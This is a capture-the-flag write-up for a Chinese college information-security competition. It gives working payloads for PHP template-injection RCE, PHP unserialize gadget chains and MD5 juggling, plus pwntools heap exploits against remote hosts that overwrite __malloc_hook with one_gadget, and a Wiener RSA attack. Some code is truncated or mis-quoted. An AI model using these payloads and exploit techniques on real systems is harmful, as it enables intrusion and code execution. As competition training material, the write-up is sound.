The 13th National College Students Information Security Competition (online preliminary)

The 13th National College Students Information Security Competition (online preliminary)


No matter what you do, the bastard won the first place. It all depends on lying down and flying with his teammates!

WEB

easyphp

Open the title and get the source code:

According to the description of the topic, let the process exit abnormally and enter phpinfo
payload:

http://eci-2ze4mvter6u3r4shc9j6.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_wait

Run phpinfo and find the flag:

RCEME

It seems that there is the original question, but the filtering is different. This question does not have a filter reverse apostrophe:

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
parserIfLabel($_GET['a']);  
function danger_key($s) {  
    $s=htmlspecialchars($s);  
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);  
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){  
        if(strpos($s,$val) !==false){  
            die('Sorry, execution error, dangerous characters found['.$val.']');  
        }  
    }  
    if(preg_match("/^[a-z]$/i")){  
        die('Sorry, execution error, dangerous characters found');  
    }  
    return $s;  
}  
function parserIfLabel( $content ) {  
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';  
    if ( preg_match_all( $pattern, $content, $matches ) ) {  
        $count = count( $matches[ 0 ] );  
        for ( $i = 0; $i < $count; $i++ ) {  
            $flag = '';  
            $out_html = '';  
            $ifstr = $matches[ 1 ][ $i ];  
            $ifstr=danger_key($ifstr,1);  
            if(strpos($ifstr,'=') !== false){  
                $arr= splits($ifstr,'=');  
                if($arr[0]=='' || $arr[1]==''){  
                    die('Sorry, there is a wrong judgment in the template,Please correct['.$ifstr.']');  
                }  
                $ifstr = str_replace( '=', '==', $ifstr );  
            }  
            $ifstr = str_replace( '<>', '!=', $ifstr );  
            $ifstr = str_replace( 'or', '||', $ifstr );  
            $ifstr = str_replace( 'and', '&&', $ifstr );  
            $ifstr = str_replace( 'mod', '%', $ifstr );  
            $ifstr = str_replace( 'not', '!', $ifstr );  
            if ( preg_match( '/\{|}/', $ifstr)) {  
                die('Sorry, there is a wrong judgment in the template,Please correct'.$ifstr);  
            }else{  
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );  
            }  

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {  
                switch ( $flag ) {  
                    case 'if':  
                        if ( isset( $matches2[ 1 ] ) ) {  
                            $out_html .= $matches2[ 1 ];  
                        }  
                        break;  
                    case 'else':  
                        if ( isset( $matches2[ 2 ] ) ) {  
                            $out_html .= $matches2[ 2 ];  
                        }  
                        break;  
                }  
            } elseif ( $flag == 'if' ) {  
                $out_html .= $matches[ 2 ][ $i ];  
            }  
            $pattern2 = '/\{if([0-9]):/';  
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {  
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );  
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );  
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );  
                $out_html = $this->parserIfLabel( $out_html );  
            }  
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );  
        }  
    }  
    return $content;  
}  
function splits( $s, $str=',' ) {  
    if ( empty( $s ) ) return array( '' );  
    if ( strpos( $s, $str ) !== false ) {  
        return explode( $str, $s );  
    } else {  
        return array( $s );  
    }  
} 

Audit the code and find that it is template injection. We enter a={if:123}{end if}
The local mode shows that $ifstr is 123, so we can directly enter the command to execute
Since echo and apostrophe are not filtered, the command can be executed as long as the front and back brackets are closed
payload:

?a={if:1);echo%20`cat%20/flag`;if(1}{end%20if}

Operation results:

easytrick

Open the page to get the source code:

<?php 
class trick{ 
    public $trick1; 
    public $trick2; 
    public function __destruct(){ 
        $this->trick1 = (string)$this->trick1; 
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
            die("You're too long"); 
        } 
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
            echo file_get_contents("/flag"); 
        } 
    } 
} 
highlight_file(__FILE__); 
unserialize($_GET['trick']); 

As you can see, as long as a 5-digit string with the same MD5 value is OK, but if you can find,,,,
Test in the local environment. After various attempts, it is suspected that there will be a problem of accuracy
payload:

?trick=O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.100000000000001;}

Get:

Local test environment:

babyunserialize

I didn't read it carefully. I heard it seems to be the original title of wmctf. It's just revised. My teammate gave me exp:

<?php

namespace DB {
    abstract class Cursor
    {
    }
}

namespace DB\SQL {
    class Mapper extends \DB\Cursor
    {
        protected $props = ["quotekey" => "phpinfo"], $adhoc = [123 => ["expr" => ""]], $db = "";

        function __construct($val)
        {
            $this->db = $val;
        }
    }
}

namespace CLI {
    class WS
    {
    }

    class Agent
    {
        protected $server = "";
        public $events;

        public function __construct()
        {
            $this->events = ["disconnect" => array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")), "find")];
            $this->server =& $this;
        }
    }

    ;
}

namespace CLI {
    echo urlencode(serialize(array(new \CLI\WS(), new \CLI\Agent())));
} ?>

paylaod:

/?flag=a%3A2%3A{i%3A0%3BO%3A6%3A"CLI\WS"%3A0%3A{}i%3A1%3BO%3A9%3A"CLI\Agent"%3A2%3A{s%3A9%3A"%00*%00server"%3Br%3A3%3Bs%3A6%3A"events"%3Ba%3A1%3A{s%3A10%3A"disconnect"%3Ba%3A2%3A{i%3A0%3BO%3A13%3A"DB\SQL\Mapper"%3A3%3A{s%3A8%3A"%00*%00props"%3Ba%3A1%3A{s%3A8%3A"quotekey"%3Bs%3A7%3A"phpinfo"%3B}s%3A8%3A"%00*%00adhoc"%3Ba%3A1%3A{i%3A123%3Ba%3A1%3A{s%3A4%3A"expr"%3Bs%3A0%3A""%3B}}s%3A5%3A"%00*%00db"%3BO%3A13%3A"DB\SQL\Mapper"%3A3%3A{s%3A8%3A"%00*%00props"%3Ba%3A1%3A{s%3A8%3A"quotekey"%3Bs%3A7%3A"phpinfo"%3B}s%3A8%3A"%00*%00adhoc"%3Ba%3A1%3A{i%3A123%3Ba%3A1%3A{s%3A4%3A"expr"%3Bs%3A0%3A""%3B}}s%3A5%3A"%00*%00db"%3Bs%3A0%3A""%3B}}i%3A1%3Bs%3A4%3A"find"%3B}}}}

MISC

Sign in

You can get the flag in a certain time:

the_best_ctf_game

Download the file and put it into winhex to see the flag

Computer hacked

After downloading the title, open winhex and use professional tools to convert the image file to disk:

Use the tool DiskGenius to recover the flag txt:

Garbled code is found after recovery:

After saving the file, it is found that the file is garbled. There is also a file demo. winhex finds that it is an ELF file after viewing. It is directly put into ida to view:

An encryption algorithm requires flag Txt content reverse output, run to get flag
flag:

flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

RE

Z3, you can directly use Z3 operation:

# coding:utf-8
from z3 import *
s = Solver()

v46=Int("v46")
v47=Int("v47")
v48=Int("v48")
v49=Int("v49")
v50=Int("v50")
v51=Int("v51")
v52=Int("v52")
v53=Int("v53")
v54=Int("v54")
v55=Int("v55")
v56=Int("v56")
v57=Int("v57")
v58=Int("v58")
v59=Int("v59")
v60=Int("v60")
v61=Int("v61")
v62=Int("v62")
v63=Int("v63")
v64=Int("v64")
v65=Int("v65")
v66=Int("v66")
v67=Int("v67")
v68=Int("v68")
v69=Int("v69")
v70=Int("v70")
v71=Int("v71")
v72=Int("v72")
v73=Int("v73")
v74=Int("v74")
v75=Int("v75")
v76=Int("v76")
v77=Int("v77")
v78=Int("v78")
v79=Int("v79")
v80=Int("v80")
v81=Int("v81")
v82=Int("v82")
v83=Int("v83")
v84=Int("v84")
v85=Int("v85")
v86=Int("v86")
v87=Int("v87")

s.add(0x4F17 == 34*v49+12*v46+53*v47+6*v48+58*v50+36*v51+v52)
s.add(0x9CF6 == 27*v50+73*v49+12*v48+83*v46+85*v47+96*v51+52*v52)
s.add(0x8DDB == 24*v48+78*v46+53*v47+36*v49+86*v50+25*v51+46*v52)
s.add(0x8EA6 == 78*v47+39*v46+52*v48+9*v49+62*v50+37*v51+84*v52)
s.add(0x6929 == 48*v50+14*v48+23*v46+6*v47+74*v49+12*v51+83*v52)
s.add(0x9911 == 15*v51+48*v50+92*v48+85*v47+27*v46+42*v49+72*v52)
s.add(0x40A2 == 26*v51+67*v49+6*v47+4*v46+3*v48+68*v52)
s.add(0x2F3E == 34*v56+12*v53+53*v54+6*v55+58*v57+36*v58+v59)
s.add(0x62B6 == 27*v57+73*v56+12*v55+83*v53+85*v54+96*v58+52*v59)
s.add(0x4B82 == 24*v55+78*v53+53*v54+36*v56+86*v57+25*v58+46*v59)
s.add(0x486C == 78*v54+39*v53+52*v55+9*v56+62*v57+37*v58+84*v59)
s.add(0x4002 == 48*v57+14*v55+23*v53+6*v54+74*v56+12*v58+83*v59)
s.add(0x52D7 == 15*v58+48*v57+92*v55+85*v54+27*v53+42*v56+72*v59)
s.add(0x2DEF == 26*v58+67*v56+6*v54+4*v53+3*v55+68*v59)
s.add(0x28DC == 34*v63+12*v60+53*v61+6*v62+58*v64+36*v65+v66)
s.add(0x640D == 27*v64+73*v63+12*v62+83*v60+85*v61+96*v65+52*v66)
s.add(0x528F == 24*v62+78*v60+53*v61+36*v63+86*v64+25*v65+46*v66)
s.add(0x613B == 78*v61+39*v60+52*v62+9*v63+62*v64+37*v65+84*v66)
s.add(0x4781 == 48*v64+14*v62+23*v60+6*v61+74*v63+12*v65+83*v66)
s.add(0x6B17 == 15*v65+48*v64+92*v62+85*v61+27*v60+42*v63+72*v66)
s.add(0x3237 == 26*v65+67*v63+6*v61+4*v60+3*v62+68*v66)
s.add(0x2A93 == 34*v70+12*v67+53*v68+6*v69+58*v71+36*v72+v73)
s.add(0x615F == 27*v71+73*v70+12*v69+83*v67+85*v68+96*v72+52*v73)
s.add(0x50BE == 24*v69+78*v67+53*v68+36*v70+86*v71+25*v72+46*v73)
s.add(0x598E == 78*v68+39*v67+52*v69+9*v70+62*v71+37*v72+84*v73)
s.add(0x4656 == 48*v71+14*v69+23*v67+6*v68+74*v70+12*v72+83*v73)
s.add(0x5B31 == 15*v72+48*v71+92*v69+85*v68+27*v67+42*v70+72*v73)
s.add(0x313A == 26*v72+67*v70+6*v68+4*v67+3*v69+68*v73)
s.add(0x3010 == 34*v77+12*v74+53*v75+6*v76+58*v78+36*v79+v80)
s.add(0x67FE == 27*v78+73*v77+12*v76+83*v74+85*v75+96*v79+52*v80)
s.add(0x4D5F == 24*v76+78*v74+53*v75+36*v77+86*v78+25*v79+46*v80)
s.add(0x58DB == 78*v75+39*v74+52*v76+9*v77+62*v78+37*v79+84*v80)
s.add(0x3799 == 48*v78+14*v76+23*v74+6*v75+74*v77+12*v79+83*v80)
s.add(0x60A0 == 15*v79+48*v78+92*v76+85*v75+27*v74+42*v77+72*v80)
s.add(0x2750 == 26*v79+67*v77+6*v75+4*v74+3*v76+68*v80)
s.add(0x3759 == 34*v84+12*v81+53*v82+6*v83+58*v85+36*v86+v87)
s.add(0x8953 == 27*v85+73*v84+12*v83+83*v81+85*v82+96*v86+52*v87)
s.add(0x7122 == 24*v83+78*v81+53*v82+36*v84+86*v85+25*v86+46*v87)
s.add(0x81F9 == 78*v82+39*v81+52*v83+9*v84+62*v85+37*v86+84*v87)
s.add(0x5524 == 48*v85+14*v83+23*v81+6*v82+74*v84+12*v86+83*v87)
s.add(0x8971 == 15*v86+48*v85+92*v83+85*v82+27*v81+42*v84+72*v87)
s.add(0x3A1D == 26*v86+67*v84+6*v82+4*v81+3*v83+68*v87)

flag = []

if s.check() == sat:
    flag.append(s.model()[v46])
    flag.append(s.model()[v47])
    flag.append(s.model()[v48])
    flag.append(s.model()[v49])
    flag.append(s.model()[v50])
    flag.append(s.model()[v51])
    flag.append(s.model()[v52])
    flag.append(s.model()[v53])
    flag.append(s.model()[v54])
    flag.append(s.model()[v55])
    flag.append(s.model()[v56])
    flag.append(s.model()[v57])
    flag.append(s.model()[v58])
    flag.append(s.model()[v59])
    flag.append(s.model()[v60])
    flag.append(s.model()[v61])
    flag.append(s.model()[v62])
    flag.append(s.model()[v63])
    flag.append(s.model()[v64])
    flag.append(s.model()[v65])
    flag.append(s.model()[v66])
    flag.append(s.model()[v67])
    flag.append(s.model()[v68])
    flag.append(s.model()[v69])
    flag.append(s.model()[v70])
    flag.append(s.model()[v71])
    flag.append(s.model()[v72])
    flag.append(s.model()[v73])
    flag.append(s.model()[v74])
    flag.append(s.model()[v75])
    flag.append(s.model()[v76])
    flag.append(s.model()[v77])
    flag.append(s.model()[v78])
    flag.append(s.model()[v79])
    flag.append(s.model()[v80])
    flag.append(s.model()[v81])
    flag.append(s.model()[v82])
    flag.append(s.model()[v83])
    flag.append(s.model()[v84])
    flag.append(s.model()[v85])
    flag.append(s.model()[v86])
    flag.append(s.model()[v87])
   
print flag

Just turn the characters at last

PWN

Mainly rely on Doudou master!!!

babyjsc

exp:

from pwn import *
p=remote('101.200.53.148',13465)
payload="__import__("os").system("cat /home/ctf/flag")"
p.sendline(payload)
p.sendline(payload)
p.interactive()

easybox

exp:

from pwn import *
p=0
def pwn():
	global p
	#p=process('./pwn2')
	p=remote('101.200.53.148',34521)
	elf=ELF('./pwn2')
	libc=elf.libc


	def add(idx,size,data):
		p.sendlineafter('>>>','1')
		p.sendlineafter(':',str(idx))
		p.sendlineafter(':',str(size))
		p.sendafter(':',data)

	def delete(idx):
		p.sendlineafter('>>>','2')
		p.sendlineafter(':',str(idx))

	'''
	add(0,0x28,'doudou')
	add(1,0x28,'doudou')
	add(2,0x68,'doudou')
	add(3,0x28,'doudou')
	delete(0)
	add(0,0x28,'a'*0x28+'\xa1')
	delete(1)
	delete(2)
	add(1,0x28,'doudou')
	#add(4,0x68,'doudou')
	'''
	add(0,0x68,'doudou')
	add(4,0x28,'doudou')
	add(1,0x60,'doudou')
	add(2,0x90,'doudou')
	add(5,0x60,'doudou')

	delete(2)
	add(2,0x20,'doudou')
	add(3,0x60, "\xdd\x65")
	delete(0)
	add(0,0x68,'a'*0x60+p64(0)+'\xa1')
	delete(5)
	delete(1)
	delete(4)
	payload=p64(0)*5+p64(0x71)+'\x40'
	add(4,0x98,payload)
	payload= b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00"
	add(1,0x68,'aaa')
	add(5,0x68,'aaa')
	add(6,0x68,payload)
	libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
	log.success('libcbase: '+hex(libcbase))
	malloc_hook=libcbase+libc.sym['__malloc_hook']
	o_g=[0x45226,0x4527a,0xf0364,0xf1207]
	one_gadget=libcbase+o_g[3]
	#add(0x60)
	delete(3)
	delete(0)
	delete(5)
	add(3,0x68,p64(malloc_hook-0x23))
	add(0,0x68,'aaa')
	add(5,0x68,'bbb')
	add(7,0x68,'a'*19+p64(one_gadget))
	#gdb.attach(p,'b *$rebase(0x00C3C)')
	#delete(0)
	p.interactive()
	return True

if __name__=='__main__':
	while 1:
		try:
			if pwn()==True:
				break
		except Exception as e:
			p.close()
			continue

maj

from pwn import *
p=0
def pwn():
	global p
	#p=process('./pwn3')
	p=remote('101.200.53.148',15423)
	elf=ELF('./pwn3')
	libc=elf.libc

	def add(size,data):
		p.sendlineafter('>> ','1')
		p.sendlineafter('question\n',str(0x50))
		p.sendlineafter('?',str(size))
		p.sendlineafter('start_the_game,yes_or_no?',data)

	def delete(idx):
		p.sendlineafter('>> ','2')
		p.sendlineafter('?',str(idx))

	def show(idx):
		p.sendlineafter('>> ','3')
		p.sendlineafter('?',str(idx))

	def edit(idx,data):
		p.sendlineafter('>> ','4')
		p.sendlineafter('?',str(idx))
		p.sendafter('?',data)

	add(0x68,'dd')#0
	add(0x68,'dd')#1
	add(0x98,'dd')#2
	add(0x18,'dd')#3
	delete(2)
	add(0x68,'aa')#2
	add(0x28,'d')#4
	edit(4,'\xdd\x65')
	delete(0)
	delete(1)
	edit(1,'\xe0')
	add(0x68,'dd')#0
	add(0x68,'dd')#1
	payload=b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00"
	add(0x68,'dd')
	edit(8,payload)
	libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
	log.success('libcbase: '+hex(libcbase))
	malloc_hook=libcbase+libc.sym['__malloc_hook']
	o_g=[0x45226,0x4527a,0xf0364,0xf1207]
	one_gadget=libcbase+o_g[3]
	delete(0)
	edit(0,p64(malloc_hook-0x23))
	add(0x68,'dd')
	add(0x68,'aa')
	edit(10,'a'*19+p64(one_gadget))
	#gdb.attach(p,'b *0x00402228')
	#show(0)
	p.interactive()
	return True

if __name__=='__main__':
	while 1:
		try:
			if pwn()==True:
				break
		except Exception as e:
			p.close()
			Continu

CRYPTO

bd

Decryption script:

import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    
    for (k,d) in convergents:
        
        #check if d is actually the key
        if k!=0 and (e*d-1)%k == 0:
            phi = (e*d-1)//k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s*s - 4*n
            if(discr>=0):
                t = Arithmetic.is_perfect_square(discr)
                if t!=-1 and (s+t)%2==0:
                    print("Hacked!")
                    return d

    
if __name__ == "__main__":
    n=86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
    e=46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
    d=hack_RSA(e,n)
    c=37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
    m=pow(c,d,n)
    print m

Operation results:

Posted by rhunter007 on Sun, 22 May 2022 09:06:43 +0300